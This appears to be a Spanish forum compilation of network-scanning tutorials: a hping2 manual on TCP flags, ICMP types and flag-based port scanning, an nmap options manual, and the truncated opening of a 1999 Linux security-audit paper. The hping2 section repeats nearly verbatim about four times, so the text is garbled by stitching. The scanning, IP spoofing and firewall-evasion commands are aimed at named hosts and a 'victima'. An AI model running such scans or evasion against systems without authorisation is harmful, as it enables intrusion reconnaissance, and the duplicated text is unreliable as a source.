Null: un flag de valor nulo (0) o sea que es un paquete al que se le ah eliminado todos los flags, este paquete es enviado con el fin de optener un RST ACK o un SYN ACK.
RST: Significa Reset, o sea que reinicie la conexion por que ubo algun error, que estan filtrados los flags o que esta cerrado el puerto.
PSH: Cuando deseamos enviar una cantidad de información grande dividida en paquetes, éstos se van
situando en un buffer de transmisión FIFO (First In First Out) hasta que el último de ellos está preparado.
Este último paquete tiene activado el flag push e indica que se debe vaciar el buffer y comenzar el envío
de paquetes.
URG: significa urgente y quiere decir que enviamos un paquete con datos urgentes, tambien se pueden usar punteros para enviar datos urgentes con normales.

Espero ando que no se me aya pasado nada, continuamos:

ICMP (Internet Control Message Protocol) es un protocolo bastante simple que está orientado a fines
informativos o de control de errores.

Mensaje ICMP:

0=echo reply
3=destination unreachable
4=source quench
5=redirect
8=echo
11=time exceeded
12=parameter problem
13=timestamp
14=timestamp reply
15=information request
16=information reply
Supongo que se entiende no?...

Continuamos:

Para hacer mas entendible el tema vamos a la practica:

Para comenzar utilizaremos a hping2 como un scanner de puertos basado en flags, esto es algo avanzado y laborioso pero optenemos exelentes resultados cheesy....

En este ejemplo utilizare el hping2 el cual es la version mas resiente (o la mas resiente que encontre xD).

Quote
BT ~ # hping2 -c 1 -S -p 80 google.com
HPING google.com (eth0 64.233.187.99): S set, 40 headers + 0 data bytes
len=46 ip=64.233.187.99 ttl=241 id=30495 sport=80 flags=SA seq=0 win=8190 rtt=128.4 ms

Vamos por partes:

-c 1: cuenta los paquetes.
-S: especifica que utilizaremos paquetes con flags SYN.
-p 80: especifica el puerto en este caso 80 (HTTP).
Ahora la respuesta:
ip=64.233.187.99: es la io que resolvio hping2.
ttl=241: Time to Alive.
sport=80: el puerto.
flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto cheesy.
Ahora un ejemplo de puerto cerrado:
Quote
BT ~ # hping2 -c 1 -S -p 20 192.168.1.254
HPING 192.168.1.254 (eth0 192.168.1.254): S set, 40 headers + 0 data bytes
len=51 ip=192.168.1.254 ttl=255 DF id=55848 sport=20 flags=RA seq=0 win=0 rtt=0.6 ms

--- 192.168.1.254 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.6/0.6/0.6 ms
Ahora como podremos darnos cuenta aqui cambio el flag:
flags=RA
En este caso resivimos RST y ACK o sea que el puerto esta cerrado...

Ahora vamos por un puerto filtrado:
En este caso es simple, por que no resiviremos respuesta jajajaja.

Ahora cabe especificar que no solo podemos utilizar el flag SYN para esto, lo cual es muy util, ya que algunas flags, estan filtradas por el firewall, router, o incluso una configuracion del iptables en un entorno linux, por lo cual estan otras opciones:

-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)


Solo queda probar tongue, asi incluso podemos saltar algunas protecciones de firewalls, routers, o configuraciones de seguridad cheesy....Hping es una exelente herramienta de tipo generador de paquetes TCP, UDP, ICMP, etc. Que nos Permite hacer inumerables cosas, entre ellas, testear firewalls, scanner de puertos (mediante flags), Os Fingerprint, Traceo de rutas, e incluso D.o.Seador, Hping2 es una utilidad principalmente creada para auditar redes, y realmente cumple su cometido y mas jajaja.....

Se me ocurrio hacer este manual para subir un poco el nivel de conocimientos de los usuarios, existe Hping2 para windows y linux, pero prefiero mil veces el de linux (por velocidad y eficiencia), asi que este manual estara sobre linux:

para comenzar el comando hping -h nos devuelve la lista de comandos (opciones):

Code:
usage: hping host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode
IP
-a --spoof spoof source address
--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)
-N --id id (default random)
-W --winid use win* id byte ordering
-r --rel relativize id field (to estimate host traffic)
-f --frag split packets in more frag. (may pass weak acl)
-x --morefrag set more fragments flag
-y --dontfrag set dont fragment flag
-g --fragoff set the fragment offset
-m --mtu set virtual mtu, implies --frag if packet size > mtu
-o --tos type of service (default 0x00), try --tos help
-G --rroute includes RECORD_ROUTE option and display the route buffer
--lsrr loose source routing and record route
--ssrr strict source routing and record route
-H --ipproto set the IP protocol field, only in RAW IP mode
ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options
UDP/TCP
-s --baseport base source port (default random)
-p --destport [+][+] destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port
-w --win winsize (default 64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
-Q --seqnum shows only tcp sequence number
-b --badcksum (try to) send packets with a bad IP checksum
many systems will fix the IP checksum sending the packet
so you'll get bad UDP/TCP checksum instead.
-M --setseq set TCP sequence number
-L --setack set TCP ack
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime
Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)

como podran leer el uso de la herramienta es hping ip_o_host y la(s) opciones a utilizar.

Primero que nada explicare que es un flag, aunque los que hayan leeido sobre protocolos no sera ninguna novedad....

Un flag es una especie de comando, que se incluye en paquetes, que especifica acciones, por ejemplo, preguntar si podemos conectar (sincronizar), contestar que esta abierto determinado puerto, comenzar conexion, terminar conexion e incluso enviar datos y especificar la importancia de dichos datos, cave recalcar que dichos flags o banderas.

En TCP todo esta manejado por paquetes, asi que les recomiendo que vean el siguiente video tutorial que encontre en youtube:

http://www.youtube.com/watch?v=muh9u_F5oeg


Algo Basico pero igual sirve para entender la teoria de como funciona esto....
ahora enumeremos los principales flags (banderas) TCP:

SYN: Le dice al servidor a conectar que intentamos conectar o sincronizar.
ACK: es una cofirmacion de que los datos anteriores llegaron correctamente.
FIN: Le dice al servidor que queremos cerrar una conexion.
Null: un flag de valor nulo (0) o sea que es un paquete al que se le ah eliminado todos los flags, este paquete es enviado con el fin de optener un RST ACK o un SYN ACK.
RST: Significa Reset, o sea que reinicie la conexion por que ubo algun error, que estan filtrados los flags o que esta cerrado el puerto.
PSH: Cuando deseamos enviar una cantidad de información grande dividida en paquetes, éstos se van
situando en un buffer de transmisión FIFO (First In First Out) hasta que el último de ellos está preparado.
Este último paquete tiene activado el flag push e indica que se debe vaciar el buffer y comenzar el envío
de paquetes.
URG: significa urgente y quiere decir que enviamos un paquete con datos urgentes, tambien se pueden usar punteros para enviar datos urgentes con normales.

Espero ando que no se me aya pasado nada, continuamos:

ICMP (Internet Control Message Protocol) es un protocolo bastante simple que está orientado a fines
informativos o de control de errores.

Mensaje ICMP:

0=echo reply
3=destination unreachable
4=source quench
5=redirect
8=echo
11=time exceeded
12=parameter problem
13=timestamp
14=timestamp reply
15=information request
16=information reply
Supongo que se entiende no?...

Continuamos:

Para hacer mas entendible el tema vamos a la practica:

Para comenzar utilizaremos a hping2 como un scanner de puertos basado en flags, esto es algo avanzado y laborioso pero optenemos exelentes resultados cheesy....

En este ejemplo utilizare el hping2 el cual es la version mas resiente (o la mas resiente que encontre xD).

Quote
BT ~ # hping2 -c 1 -S -p 80 google.com
HPING google.com (eth0 64.233.187.99): S set, 40 headers + 0 data bytes
len=46 ip=64.233.187.99 ttl=241 id=30495 sport=80 flags=SA seq=0 win=8190 rtt=128.4 ms

Vamos por partes:

-c 1: cuenta los paquetes.
-S: especifica que utilizaremos paquetes con flags SYN.
-p 80: especifica el puerto en este caso 80 (HTTP).
Ahora la respuesta:
ip=64.233.187.99: es la io que resolvio hping2.
ttl=241: Time to Alive.
sport=80: el puerto.
flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto cheesy.
Ahora un ejemplo de puerto cerrado:
Quote
BT ~ # hping2 -c 1 -S -p 20 192.168.1.254
HPING 192.168.1.254 (eth0 192.168.1.254): S set, 40 headers + 0 data bytes
len=51 ip=192.168.1.254 ttl=255 DF id=55848 sport=20 flags=RA seq=0 win=0 rtt=0.6 ms

--- 192.168.1.254 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.6/0.6/0.6 ms
Ahora como podremos darnos cuenta aqui cambio el flag:
flags=RA
En este caso resivimos RST y ACK o sea que el puerto esta cerrado...

Ahora vamos por un puerto filtrado:
En este caso es simple, por que no resiviremos respuesta jajajaja.

Ahora cabe especificar que no solo podemos utilizar el flag SYN para esto, lo cual es muy util, ya que algunas flags, estan filtradas por el firewall, router, o incluso una configuracion del iptables en un entorno linux, por lo cual estan otras opciones:

-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)


Solo queda probar tongue, asi incluso podemos saltar algunas protecciones de firewalls, routers, o configuraciones de seguridad cheesy....Hping es una exelente herramienta de tipo generador de paquetes TCP, UDP, ICMP, etc. Que nos Permite hacer inumerables cosas, entre ellas, testear firewalls, scanner de puertos (mediante flags), Os Fingerprint, Traceo de rutas, e incluso D.o.Seador, Hping2 es una utilidad principalmente creada para auditar redes, y realmente cumple su cometido y mas jajaja.....

Se me ocurrio hacer este manual para subir un poco el nivel de conocimientos de los usuarios, existe Hping2 para windows y linux, pero prefiero mil veces el de linux (por velocidad y eficiencia), asi que este manual estara sobre linux:

para comenzar el comando hping -h nos devuelve la lista de comandos (opciones):

Code:
usage: hping host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode
IP
-a --spoof spoof source address
--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)
-N --id id (default random)
-W --winid use win* id byte ordering
-r --rel relativize id field (to estimate host traffic)
-f --frag split packets in more frag. (may pass weak acl)
-x --morefrag set more fragments flag
-y --dontfrag set dont fragment flag
-g --fragoff set the fragment offset
-m --mtu set virtual mtu, implies --frag if packet size > mtu
-o --tos type of service (default 0x00), try --tos help
-G --rroute includes RECORD_ROUTE option and display the route buffer
--lsrr loose source routing and record route
--ssrr strict source routing and record route
-H --ipproto set the IP protocol field, only in RAW IP mode
ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options
UDP/TCP
-s --baseport base source port (default random)
-p --destport [+][+] destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port
-w --win winsize (default 64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
-Q --seqnum shows only tcp sequence number
-b --badcksum (try to) send packets with a bad IP checksum
many systems will fix the IP checksum sending the packet
so you'll get bad UDP/TCP checksum instead.
-M --setseq set TCP sequence number
-L --setack set TCP ack
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime
Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)

como podran leer el uso de la herramienta es hping ip_o_host y la(s) opciones a utilizar.

Primero que nada explicare que es un flag, aunque los que hayan leeido sobre protocolos no sera ninguna novedad....

Un flag es una especie de comando, que se incluye en paquetes, que especifica acciones, por ejemplo, preguntar si podemos conectar (sincronizar), contestar que esta abierto determinado puerto, comenzar conexion, terminar conexion e incluso enviar datos y especificar la importancia de dichos datos, cave recalcar que dichos flags o banderas.

En TCP todo esta manejado por paquetes, asi que les recomiendo que vean el siguiente video tutorial que encontre en youtube:

http://www.youtube.com/watch?v=muh9u_F5oeg


Algo Basico pero igual sirve para entender la teoria de como funciona esto....
ahora enumeremos los principales flags (banderas) TCP:

SYN: Le dice al servidor a conectar que intentamos conectar o sincronizar.
ACK: es una cofirmacion de que los datos anteriores llegaron correctamente.
FIN: Le dice al servidor que queremos cerrar una conexion.
Null: un flag de valor nulo (0) o sea que es un paquete al que se le ah eliminado todos los flags, este paquete es enviado con el fin de optener un RST ACK o un SYN ACK.
RST: Significa Reset, o sea que reinicie la conexion por que ubo algun error, que estan filtrados los flags o que esta cerrado el puerto.
PSH: Cuando deseamos enviar una cantidad de información grande dividida en paquetes, éstos se van
situando en un buffer de transmisión FIFO (First In First Out) hasta que el último de ellos está preparado.
Este último paquete tiene activado el flag push e indica que se debe vaciar el buffer y comenzar el envío
de paquetes.
URG: significa urgente y quiere decir que enviamos un paquete con datos urgentes, tambien se pueden usar punteros para enviar datos urgentes con normales.

Espero ando que no se me aya pasado nada, continuamos:

ICMP (Internet Control Message Protocol) es un protocolo bastante simple que está orientado a fines
informativos o de control de errores.

Mensaje ICMP:

0=echo reply
3=destination unreachable
4=source quench
5=redirect
8=echo
11=time exceeded
12=parameter problem
13=timestamp
14=timestamp reply
15=information request
16=information reply
Supongo que se entiende no?...

Continuamos:

Para hacer mas entendible el tema vamos a la practica:

Para comenzar utilizaremos a hping2 como un scanner de puertos basado en flags, esto es algo avanzado y laborioso pero optenemos exelentes resultados cheesy....

En este ejemplo utilizare el hping2 el cual es la version mas resiente (o la mas resiente que encontre xD).

Quote
BT ~ # hping2 -c 1 -S -p 80 google.com
HPING google.com (eth0 64.233.187.99): S set, 40 headers + 0 data bytes
len=46 ip=64.233.187.99 ttl=241 id=30495 sport=80 flags=SA seq=0 win=8190 rtt=128.4 ms

Vamos por partes:

-c 1: cuenta los paquetes.
-S: especifica que utilizaremos paquetes con flags SYN.
-p 80: especifica el puerto en este caso 80 (HTTP).
Ahora la respuesta:
ip=64.233.187.99: es la io que resolvio hping2.
ttl=241: Time to Alive.
sport=80: el puerto.
flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto cheesy.
Ahora un ejemplo de puerto cerrado:
Quote
BT ~ # hping2 -c 1 -S -p 20 192.168.1.254
HPING 192.168.1.254 (eth0 192.168.1.254): S set, 40 headers + 0 data bytes
len=51 ip=192.168.1.254 ttl=255 DF id=55848 sport=20 flags=RA seq=0 win=0 rtt=0.6 ms

--- 192.168.1.254 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.6/0.6/0.6 ms
Ahora como podremos darnos cuenta aqui cambio el flag:
flags=RA
En este caso resivimos RST y ACK o sea que el puerto esta cerrado...

Ahora vamos por un puerto filtrado:
En este caso es simple, por que no resiviremos respuesta jajajaja.

Ahora cabe especificar que no solo podemos utilizar el flag SYN para esto, lo cual es muy util, ya que algunas flags, estan filtradas por el firewall, router, o incluso una configuracion del iptables en un entorno linux, por lo cual estan otras opciones:

-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)


Solo queda probar tongue, asi incluso podemos saltar algunas protecciones de firewalls, routers, o configuraciones de seguridad cheesy....Hping es una exelente herramienta de tipo generador de paquetes TCP, UDP, ICMP, etc. Que nos Permite hacer inumerables cosas, entre ellas, testear firewalls, scanner de puertos (mediante flags), Os Fingerprint, Traceo de rutas, e incluso D.o.Seador, Hping2 es una utilidad principalmente creada para auditar redes, y realmente cumple su cometido y mas jajaja.....

Se me ocurrio hacer este manual para subir un poco el nivel de conocimientos de los usuarios, existe Hping2 para windows y linux, pero prefiero mil veces el de linux (por velocidad y eficiencia), asi que este manual estara sobre linux:

para comenzar el comando hping -h nos devuelve la lista de comandos (opciones):

Code:
usage: hping host [options]
-h --help show this help
-v --version show version
-c --count packet count
-i --interval wait (uX for X microseconds, for example -i u1000)
--fast alias for -i u10000 (10 packets for second)
-n --numeric numeric output
-q --quiet quiet
-I --interface interface name (otherwise default routing interface)
-V --verbose verbose mode
-D --debug debugging info
-z --bind bind ctrl+z to ttl (default to dst port)
-Z --unbind unbind ctrl+z
Mode
default mode TCP
-0 --rawip RAW IP mode
-1 --icmp ICMP mode
-2 --udp UDP mode
-8 --scan SCAN mode.
Example: hping --scan 1-30,70-90 -S www.target.host
-9 --listen listen mode
IP
-a --spoof spoof source address
--rand-dest random destionation address mode. see the man.
--rand-source random source address mode. see the man.
-t --ttl ttl (default 64)
-N --id id (default random)
-W --winid use win* id byte ordering
-r --rel relativize id field (to estimate host traffic)
-f --frag split packets in more frag. (may pass weak acl)
-x --morefrag set more fragments flag
-y --dontfrag set dont fragment flag
-g --fragoff set the fragment offset
-m --mtu set virtual mtu, implies --frag if packet size > mtu
-o --tos type of service (default 0x00), try --tos help
-G --rroute includes RECORD_ROUTE option and display the route buffer
--lsrr loose source routing and record route
--ssrr strict source routing and record route
-H --ipproto set the IP protocol field, only in RAW IP mode
ICMP
-C --icmptype icmp type (default echo request)
-K --icmpcode icmp code (default 0)
--force-icmp send all icmp types (default send only supported types)
--icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)
--icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)
--icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)
--icmp-help display help for others icmp options
UDP/TCP
-s --baseport base source port (default random)
-p --destport [+][+] destination port(default 0) ctrl+z inc/dec
-k --keep keep still source port
-w --win winsize (default 64)
-O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)
-Q --seqnum shows only tcp sequence number
-b --badcksum (try to) send packets with a bad IP checksum
many systems will fix the IP checksum sending the packet
so you'll get bad UDP/TCP checksum instead.
-M --setseq set TCP sequence number
-L --setack set TCP ack
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime
Common
-d --data data size (default is 0)
-E --file data from file
-e --sign add 'signature'
-j --dump dump packets in hex
-J --print dump printable characters
-B --safe enable 'safe' protocol
-u --end tell you when --file reached EOF and prevent rewind
-T --traceroute traceroute mode (implies --bind and --ttl 1)
--tr-stop Exit when receive the first not ICMP in traceroute mode
--tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
--apd-send Send the packet described with APD (see docs/APD.txt)

como podran leer el uso de la herramienta es hping ip_o_host y la(s) opciones a utilizar.

Primero que nada explicare que es un flag, aunque los que hayan leeido sobre protocolos no sera ninguna novedad....

Un flag es una especie de comando, que se incluye en paquetes, que especifica acciones, por ejemplo, preguntar si podemos conectar (sincronizar), contestar que esta abierto determinado puerto, comenzar conexion, terminar conexion e incluso enviar datos y especificar la importancia de dichos datos, cave recalcar que dichos flags o banderas.

En TCP todo esta manejado por paquetes, asi que les recomiendo que vean el siguiente video tutorial que encontre en youtube:

http://www.youtube.com/watch?v=muh9u_F5oeg


Algo Basico pero igual sirve para entender la teoria de como funciona esto....
ahora enumeremos los principales flags (banderas) TCP:

SYN: Le dice al servidor a conectar que intentamos conectar o sincronizar.
ACK: es una cofirmacion de que los datos anteriores llegaron correctamente.
FIN: Le dice al servidor que queremos cerrar una conexion.
Null: un flag de valor nulo (0) o sea que es un paquete al que se le ah eliminado todos los flags, este paquete es enviado con el fin de optener un RST ACK o un SYN ACK.
RST: Significa Reset, o sea que reinicie la conexion por que ubo algun error, que estan filtrados los flags o que esta cerrado el puerto.
PSH: Cuando deseamos enviar una cantidad de información grande dividida en paquetes, éstos se van
situando en un buffer de transmisión FIFO (First In First Out) hasta que el último de ellos está preparado.
Este último paquete tiene activado el flag push e indica que se debe vaciar el buffer y comenzar el envío
de paquetes.
URG: significa urgente y quiere decir que enviamos un paquete con datos urgentes, tambien se pueden usar punteros para enviar datos urgentes con normales.

Espero ando que no se me aya pasado nada, continuamos:

ICMP (Internet Control Message Protocol) es un protocolo bastante simple que está orientado a fines
informativos o de control de errores.

Mensaje ICMP:

0=echo reply
3=destination unreachable
4=source quench
5=redirect
8=echo
11=time exceeded
12=parameter problem
13=timestamp
14=timestamp reply
15=information request
16=information reply
Supongo que se entiende no?...

Continuamos:

Para hacer mas entendible el tema vamos a la practica:

Para comenzar utilizaremos a hping2 como un scanner de puertos basado en flags, esto es algo avanzado y laborioso pero optenemos exelentes resultados cheesy....

En este ejemplo utilizare el hping2 el cual es la version mas resiente (o la mas resiente que encontre xD).

Quote
BT ~ # hping2 -c 1 -S -p 80 google.com
HPING google.com (eth0 64.233.187.99): S set, 40 headers + 0 data bytes
len=46 ip=64.233.187.99 ttl=241 id=30495 sport=80 flags=SA seq=0 win=8190 rtt=128.4 ms

Vamos por partes:

-c 1: cuenta los paquetes.
-S: especifica que utilizaremos paquetes con flags SYN.
-p 80: especifica el puerto en este caso 80 (HTTP).
Ahora la respuesta:
ip=64.233.187.99: es la io que resolvio hping2.
ttl=241: Time to Alive.
sport=80: el puerto.
flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto cheesy.
Ahora un ejemplo de puerto cerrado:
Quote
BT ~ # hping2 -c 1 -S -p 20 192.168.1.254
HPING 192.168.1.254 (eth0 192.168.1.254): S set, 40 headers + 0 data bytes
len=51 ip=192.168.1.254 ttl=255 DF id=55848 sport=20 flags=RA seq=0 win=0 rtt=0.6 ms

--- 192.168.1.254 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.6/0.6/0.6 ms
Ahora como podremos darnos cuenta aqui cambio el flag:
flags=RA
En este caso resivimos RST y ACK o sea que el puerto esta cerrado...

Ahora vamos por un puerto filtrado:
En este caso es simple, por que no resiviremos respuesta jajajaja.

Ahora cabe especificar que no solo podemos utilizar el flag SYN para esto, lo cual es muy util, ya que algunas flags, estan filtradas por el firewall, router, o incluso una configuracion del iptables en un entorno linux, por lo cual estan otras opciones:

-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag
-U --urg set URG flag
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)


Solo queda probar tongue, asi incluso podemos saltar algunas protecciones de firewalls, routers, o configuraciones de seguridad cheesy....

Segunda parte, en base a que la parte 1 no estubo muy bien aclarada, aqui la acompleto xD.

Tipo de Scanneos:
ACK: Este es utilizado para saber si el server esta detras de un firewall, o si el puerto(s), estan filtrados.
Si obtenemos un ACK el puerto esta abierto o cerrado, y si no resivimos respuesta el puerto esta filtrado (probablemente detras de un firewall).
SYN: este es utilizado para detectar si un puerto esta abierto o cerrado.
FIN: este sirve para detectar puertos abiertos entre otras cosas, si resivimos un RS ACK, esta cerrado el puerto, si no recivimos nada, es que el puerto esta filtrado o como dije arriba detras de un firewall, router, modem, etc, que estorban el envio del paquete.
otra clase de scanneos es el que no lleba ningun flag, tambien es bastante efectivo, y tambien el scanneo mediante todos los flags, que a mi pareser es el menos efectivo, ya que rara vez responden el paquete...

Scanneo de Puertos multiples:

la sintaxis es simple:
Quote
BT ~ # hping2 -l eth0 -S xxx.xxx.xxx.xxx -p ++80
es basicamente la sintaxis de los anteriores scanneres solo que al numero de puerto se le agregan los simbolos "++" antes del numero, ademas como podran observar aqui le especifique el adaptador de red a utilizar (es descartable esto).

Otra forma de scanneo multiple:

Quote
BT ~ # hping2 -V -8 '20-80' -S xxx.xxx.xxx.xx
Este tipo de scanneo es por medio de rangos de puertos, en esta forma utilize el -V (modo verboso), -8 (el modo de scanner, tambien es remplazable por --scan, y utilizo el flag SYN para scannear, que como ya dije arriba se puede cambiar por los otros tipos de scanneo (dependiendo de lo que queremos hacer).


Autor: Thera Hack

Manual NMAP

Nmap es un programa que sirve para hacer un mapeo de
las redes o mejor dicho un "scan" o barrido con el fin de determinar
informaci?n importante a la hora de hackear sobre determinados hosts, redes o
grupos de hosts. Este programa, se ha ganado mucho adeptos debido a su versatilidad y facilidad de manejo, ademas de poder utilizar varios protocolos como el udp y el tcp.

Este Programa posee multiples opciones que pueden ser combinadas entre si aun sin importar el orden en que se pases estas opciones en la linea de comandos o en su front-end para linux llamado NMAP-FE.

A continuacion, les voy a explicar como usarlo desde la consola en Linux.

Modo de uso: nmap [Tipo de Scan] [Opciones] ip.o.hostdela.victima

------------------------

Descubrimiento de hosts:

-sL Lista de hosts - Lista de los hosts a escanear

-sP Ping - Solamente le hace un ping a la/s victima/s para ver si estan conectadas

-P0 Determinar que todos los hosts estan conectados - Esta funcion saltea el ping a la victima, en caso de que esta bloquee los pings

-PS/PA/PU [lista de puertos] Scaneo TCP SYN/ACK o UDP a la lista de puertos

-PE/PP/PM: Pruebas ICMP echo, timestamp, y netmask - Se utilizan para descubrir si la victima esta conectada

------------------

Tecnicas de Scaneo

-sS:Scaneos TCP SYN - Realiza un scaneo oculto que solo puede ser ejecutado por usuario root

-sT: Scaneo Connect() - Este scaneo realiza una conexion tcp que muestra tu IP

-sA/sW/sM: Scaneos ACK, Window y Maimon (poco frecuentes)

-sU: Scaneo UDP

-sF, -sX,-sN Stealth FIN,Xmas, o Scan Nulo (solo trabaja
contra UNIX) este tipo de scan se le llama nulo porque intenta molestar lo menos
posible al "inetd" o demonio de servicios para evitar caer en el log del
sistema, ademas existen muchos host con firewall que poseen filtrado para
paquetes del tipo SYN por lo que quedariamos automaticamente grabados en el log
del sistema, para esos casos es necesario utilizar el sF,sX,sN o el Xmas en vez
de el sS.

-sO: Realiza un scaneo al protocolo IP

-b: ftp "bounce attack" - utlizado para ver si se puede
utilizar un host para pasar una conexi?n ftp a traves de el y no hacer el ftp a
otro host desde tu maquina directamente.

-------------------------

Especificacion de puertos

-p : Realiza un escaneo solamente a ese rango de puertos

-F: Realiza un scaneo rapido, a los puertos mas comunes

------------------------------

Deteccion de sistema operativo

-O: Habilita la deteccion del sistema operativo

-O2: Scanea solamente a sistemas operativos recientes.

-O1: Scanea solamente a los sistemas operativos mas antiguos

--------------------------------

Evasion de firewalls y Spoofing:

-S: Spoofea la direccion de IP

-e Utiliza la interfaz seleccionada

-----------
Micelaneos:

--open: Solo muestra los puertos abiertos o posiblemente abiertos

--packet-trace: Muestra el log de paquetes enviados y recibidos

-6: Habilita scaneo IPV6

-A: Habilita deteccion de Sistema Operativo y de Version de software

-V: Muestra la version del programa

---------
Ejemplos:

nmap -v -sP 192.168.0.0/16 10.0.0.0/8

nmap -sT -6 127.0.0.1

nmap -sS -O2 -P0 google.com.ar



Autor: Tiger

Auditorías de Seguridad en GNU/Linux

Auditorías de Seguridad en GNU/Linux.
-------------------------------------

Javier Fernández-Sanguino Peña <jfs@computer.org>

15 feb 1999


-------------------------------------------------------------------------------


Abstract
--------

Se verán las distintas herramientas disponibles en GNU/Linux para
auditar la seguridad de una red heterogénea.


Copyright Notice
----------------

Copyright (C) 1998,1999 Javier Fernández-Sanguino Peña


-------------------------------------------------------------------------------


1. Seguridad en GNU/Linux
-------------------------

A veces se le ha atribuido al sistema GNU/Linux una escasez de
